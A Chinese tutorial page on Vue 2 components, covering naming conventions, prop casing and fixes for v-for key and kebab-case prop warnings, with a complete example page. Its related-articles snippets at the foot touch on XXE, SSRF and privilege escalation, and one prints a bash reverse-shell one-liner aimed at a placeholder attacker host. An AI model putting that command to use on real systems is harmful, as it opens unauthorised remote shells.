Vue组件使用入门实例及常见错误解决

2023-05-16

定义Vue组件名的方式有两种:

使用 kebab-case

Vue.component('my-component-name', { /* ... */ })

当使用 kebab-case (短横线分隔命名) 定义一个组件时,必须在引用这个自定义元素时使用 kebab-case,例如 <my-component-name>

使用 PascalCase

Vue.component('MyComponentName', { /* ... */ })

当使用 PascalCase (首字母大写命名) 定义一个组件时,在引用这个自定义元素时两种命名法都可以使用。
也就是说 <my-component-name><MyComponentName> 都是合法的。
注意,尽管如此,直接在 DOM (即非字符串的模板) 中使用时只有 kebab-case 是有效的。

Prop 的大小写 (camelCase 和 kebab-case)

HTML 中的特性名是大小写不敏感的,所以浏览器会把所有大写字符解释为小写字符。
这意味着当使用 DOM 中的模板时,camelCase (驼峰命名法) 的 prop 名需要使用其等价的 kebab-case (短横线分隔命名) 命名:

Vue.component('blog-post', {
  // 在 JavaScript 中是 camelCase 的
  props: ['postTitle'],
  template: '<h3>{{ postTitle }}</h3>'
})

在HTML 中,需要将组件的属性 postTitle 改成 post-title。

<!-- 在 HTML 中是 kebab-case 的 -->
<blog-post post-title="hello!"></blog-post>

重申一次,如果使用字符串模板,那么这个限制就不存在了。
即直接可以在 template 字符串中使用 postTitle 属性.

 Vue.component('blog-post3', {
    props: ['postTitle'],
    template: `
    <div class="blog-post">
      <p> {{ postTitle }}</p>
    </div>
    `
})

错误1: component lists rendered with v-for should have explicit keys.

// cosole警告提示: 
vue.js:640 [Vue tip]: <blog-post-list2 v-for="postdetail in postList">: 
component lists rendered with v-for should have explicit keys. 
See https://vuejs.org/guide/list.html#key for more info.

(found in <Root>)

错误原因: 没有为循环的每一个项提供唯一 key 属性

解决办法: 需要为 每项提供一个唯一 key 属性,找个key可以使用字符串数值类型的值。

这里是Vue文档中给他说明:

为了给 Vue 一个提示,以便它能跟踪每个节点的身份,从而重用和重新排序现有元素,你需要为每项提供一个唯一 key 属性:

<div v-for="item in items" v-bind:key="item.id">
	<!-- 内容 -->
</div>

建议尽可能在使用 v-for 时提供 key attribute,除非遍历输出的 DOM 内容非常简单,或者是刻意依赖默认行为以获取性能上的提升。

因为它是 Vue 识别节点的一个通用机制,key 并不仅与 v-for 特别关联

不要使用对象或数组之类的非基本类型值作为 v-for 的 key。请用字符串或数值类型的值。

错误2:[Vue warn]Duplicate keys detected: 1. This may cause an update error.

// cosole报错: 
[Vue warn]: Duplicate keys detected: '1'. This may cause an update error.
 (found in <Root>)

错误原因: 因为在测试中,使用的同一个数据,因此再多个列表中,属性key存在重复。

解决办法: 修改每个循环中的key,给key值加个前缀,让其不要重复即可。

列表1: 
<blog-post-list 
    v-for="postdetail in postList" 
    v-bind:key="'list1-' + postdetail.id"
    v-bind:postdetail="postdetail"
></blog-post-list> 

列表2: 
<blog-post-list2 
    v-for="post2 in postList" 
    v-bind:key="'list2-' + post2.id"
    v-bind:post2="post2"
></blog-post-list2>

错误3: camelCased props need to use their kebab-case equivalents when using in-DOM templates

[Vue tip]: Prop "postdetail" is passed to component <Anonymous>, but the declared prop name is "postDetail". 
Note that HTML attributes are case-insensitive 
and camelCased props need to use their kebab-case equivalents when using in-DOM templates. 
You should probably use "post-detail" instead of "postDetail".

错误原因: 直接在 DOM (即非字符串的模板) 中使用时只有 kebab-case (短横线分隔命名) 是有效的

解决办法: 修改

<!-- 有效的 -->
<blog-post3 
    v-for="post3 in postList" 
    v-bind:key="'list3-' + post3.id"
    v-bind:post-detail="post3"
></blog-post3>

<!-- 无效的,postDetail 必须使用短横线分隔命名,即改成 post-detail即可  -->
<blog-post3 
    v-for="post3 in postList" 
    v-bind:key="'list3-' + post3.id"
    v-bind:postDetail="post3"
></blog-post3>

完整的代码实例如下:

<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,height=device-height">
    <title>Vue组件</title>
    <!-- 引入vue文件 -->
    <script src="https://cdn.jsdelivr.net/npm/vue@2.6.10/dist/vue.js"></script>
    <!-- 引入element样式 -->
    <link rel="stylesheet" href="https://unpkg.com/element-ui/lib/theme-chalk/index.css">
    <!-- 引入element组件库 -->
    <script src="https://unpkg.com/element-ui/lib/index.js"></script>
</head>
<body>
<div id="app">
    <hr/>
    <!-- 通过 Prop 向子组件传递数据 -->
    <!-- 一个 prop 被注册之后,在调用组件模板是,可以将数据作为一个自定义的属性传递进来 -->
    <strong>使用组件1: 直接在模板属性中传入数据</strong> 
    <blog-post title="My journey with Vue1" author="作者1"></blog-post>
    <blog-post title="My journey with Vue2" author="作者2"></blog-post>
    <blog-post title="My journey with Vue3" author="作者3"></blog-post>

    <hr/>
    <!-- 使用 v-bind 绑定数据,一个属性绑定一次(比较繁琐,不推荐) -->
    <strong>使用组件1: 使用 v-bind 绑定数据</strong> 
    <blog-post
      v-for="post in postList"
      v-bind:key="post.id"
      v-bind:title="post.title"
      v-bind:author="post.author"
    ></blog-post>

    <hr/>
    <!-- 使用 v-bind 绑定数据,直接绑定一个对象(减少绑定属性次数,推荐) -->
    <!-- 同时,注意该属性绑定的key,增加了前缀,防止在循序数据是时报key值重复问题 -->
    <strong>使用组件2: 绑定一个对象</strong> 
    <blog-post2 
        v-for="post2 in postList" 
        v-bind:key="'list2-' + post2.id"
        v-bind:post2="post2"
    ></blog-post2>

    <hr/>
    <!-- 使用 v-bind 绑定数据,直接绑定一个对象(减少绑定属性次数,推荐) -->
    <!-- 同时,注意该属性绑定的key,增加了前缀,防止在循序数据是时报key值重复问题 -->
    <!-- 注意直接在 DOM (即非字符串的模板) 中只能使用 kebab-case (短横线分隔命名) 格式 -->
    <strong>使用组件3: 绑定一个对象, DOM 中使用必须使用 kebab-case 格式 </strong> 
    <blog-post3 
        v-for="post3 in postList" 
        v-bind:key="'list3-' + post3.id"
        v-bind:post-detail="post3"
    ></blog-post3>
</div>

<script>
    // 组件1:该组件通过 props 可以传递两个属性值 'title' 和 'author'
    Vue.component('blog-post', {
        props: ['title', 'author'],
        template: '<p> {{ author }} : {{ title }} </p>'
    })
    // 组件2: 又一个组件
    // 该组件不是传递一个字符串值,该传递一个对象。
    // 这样可以直接在模板里使用对象,而不必一个一个属性的传入
    Vue.component('blog-post2', {
        props: ['post2'],
        template: `
        <div class="blog-post">
          <p> {{ post2.author}} : {{ post2.title }} </p> 
        </div>
        `
    })
    // 组件3: 再来一个组件
    // 该组件定义一个 postDetail 属性,注意在DOM中绑定属性时要使用 "v-bind:post-detail"
    Vue.component('blog-post3', {
        props: ['postDetail'],
        template: `
        <div class="blog-post">
          <p>{{ postDetail.author }} : {{ postDetail.title }}</p>
        </div>
        `
    })

    new Vue({
        el: '#app',
        data: {
            message: 'Hello Vue!',
            postList: [
              { id: 1, title: 'My journey with Vue', author: "Author111"},
              { id: 2, title: 'Blogging with Vue', author: "Author222"},
              { id: 3, title: 'Why Vue is so fun', author: "Author333"},
            ]
        },
        mounted() {
            this.prepareComponent();
        },
        methods: {
            prepareComponent() {
                console.log('hi, vue component mounted.');
            }
        }
    })
</script>
</body>
</html>

[END]

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Vue组件使用入门实例及常见错误解决 的相关文章

  • 隧道技术之不出网-正向代理

    简介 很多情况下 xff0c 拿下一台主机不出网 xff0c 就没办法反向连接 xff0c 需要去正向连接 xff0c 这里用到一个工具正向代理工具Neo reGeorg 用法 第一步需要先设置一个密码 xff0c 假设我设置的为123 p
  • XXE外部实体引入漏洞原理及复现

    文章目录 1 简介2 XML基本语法2 1 文档声明2 2 根元素2 3 元素2 4 属性2 5 注释2 6 CDATA2 7 空元素 3 DTD基本语法3 1 要点3 2 DTD 示例 4 攻击5 防范 1 简介 XXE XML 外部实体
  • SSRF漏洞漏洞利用及防范

    文章目录 1 简介 2 攻击 2 1 1 DNSLOG 2 1 2 代码 3 防范 1 简介 SSRF Server Side Request Forgery 漏洞是一种 Web 应用程序安全漏洞 它允许攻击者构造非法请求并让 Web 服务
  • 渗透测试-信息收集之Google hacking + GitHub

    1 简介 Google hacking 是一种通过使用 Google 搜索引擎中的高级运算符来查找存储在网站上的敏感信息的技术 这可能包括登录凭据 敏感文件和其他敏感数据等信息 GitHub 信息收集是通过分析目标在 GitHub 平台上的
  • 反弹shell的命令大全

    bash gt bin bash i gt dev tcp attackerip 4444 0 lt amp 1 2 gt amp 1 gt bash i gt amp dev tcp attackerip 4444 0 gt amp 1
  • 水平/垂直越权攻击手段及实战

    文章目录 越权 1 水平越权 1 1 攻击流程 1 2 代码 1 3 实战 2 垂直越权 2 1 攻击流程 3 1 代码 越权 越权攻击 Privilege Escalation 是指攻击者通过利用系统漏洞 配置错误或其他安全漏洞等手段 从
  • MySQL常用的show语法

    MySQL show语法 SHOW BINARY LOGS SHOW BINARY LOGS 列出服务器上的二进制日志文件 SHOW BINLOG EVENTS 显示二进制日志中的事件 如果未指定 xff0c 则显示第一个二进制日志 mys
  • 渗透测试快速判断操作系统

    1 TTL TTL Time to Live 是一个IP数据包的字段 xff0c 用于限制在网络中传播的次数 它是一个8位字段 xff0c 表示数据包在网络中允许通过的路由数 每经过一个路由器 xff0c TTL就会减1 如果TTL为0 x
  • 实战中的.git信息泄露利用

    1 简介 其实这个是非常简单的哈 xff0c 但很多人看见 git不知道这个漏洞就放弃了 git文件夹是一种常见的源代码版本控制系统 xff08 如Git xff09 使用的文件夹 xff0c 用于跟踪文件和文件夹的更改 如果这个文 件夹被
  • 报错注入写shell

    文章目录 写shell条件 最常见的注入写shell方式 报错注入写shell 错误示范 lines starting by 失败原因 其他语法 lines terminated by 写入 fields terminated by 写入
  • oracle 删除主键

    删除主键一定要一起把索引删除 切记 span class token keyword alter span span class token keyword table span x span class token keyword dro
  • sql 取日期的年月日

    span class token keyword select span span class token keyword year span span class token punctuation span create time sp
  • 新专栏[飞控] 要开始学点新东西了.和第一步.硬件接线

    我淘宝买了便宜的无人机 stm32的板子 swd烧录接口 uart1串口通信 分两块 一块无人机 一块遥控器 无人机的板子不知上面俩接口 回去要看一下 下图是遥控器的这俩接口 SWD uart1 其中串口通信比较简单 可以直接连已经有的US
  • 部署环境从docker swarm迁移到k8s后kie-server的发布方式变化(二)

    正如后来的考虑 如果外接maven私库照理说是ok的 这样去掉volume的设计整个流程更加的自动化标准化 开搞 第一步先部署一个nexus yaml文件如下 apiVersion v1 kind Namespace metadata na
  • 讨逆檄文..

    五一之后 就要开始我们的征战旅程了 激动不已 说起来当代人是什么样就可以看到后代会是什么样 就像微博里说的 是个人都会让后代不要输起跑线 巨婴的缺点是什么是他什么都输不起 他会放大自己面临的困难 病态的 他没有为自己负责的意识 因为一直被负
  • k8s安装监控工具metrics-server

    我们需要监控cpu和内存的使用率 以便提供硬件资源的申请采购建议 也方便我们知道运行负荷 而不是糊里糊涂出了问题再去解决或者工具自动解决了而我们不知道 话说回来集群的好处就是低成本的达到高性能 性能不去监控就有点太不专业了 但 k8s居然不
  • 给k8s集群添加负载均衡的能力

    常识 k8s没有自带负载均衡能力 需云服务提供商来做负载均衡 或者自己装负载均衡控制器 负载均衡控制器有很多 这次装Ingress Nginx https kubernetes github io ingress nginx 文档里根据环境
  • NestJs框架快速入门(V6.5)

    Nest是构建高效可扩展的 Node js Web 应用程序的框架 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node version v10 16 0 npm version 6
  • 公车艳遇_习惯累积沉淀_新浪博客

    今天坐b1我又跟女生们年轻小姑娘挤在了一起 用她们们是们凸凹优质的身材把我挤在门上脚都挨不着地 当然没这么严重 反正一路上脸都有点烫 一路上都不自觉的猥琐笑容 下了车还在压抑着笑 一低头就不小心笑出声
  • [转载]动物伦理,为了人的尊严_习惯累积沉淀_新浪博客

    原文地址 xff1a 动物伦理 xff0c 为了人的尊严 作者 xff1a 评论员李铁 道德就是拿火腿肠喂流浪狗喂到心碎流泪 xff0c 而完全不用去顾虑猪的感受 这是一位网友对爱狗人士拯救流浪狗的讥讽 xff0c 不少人觉得这句话绝妙 x

随机推荐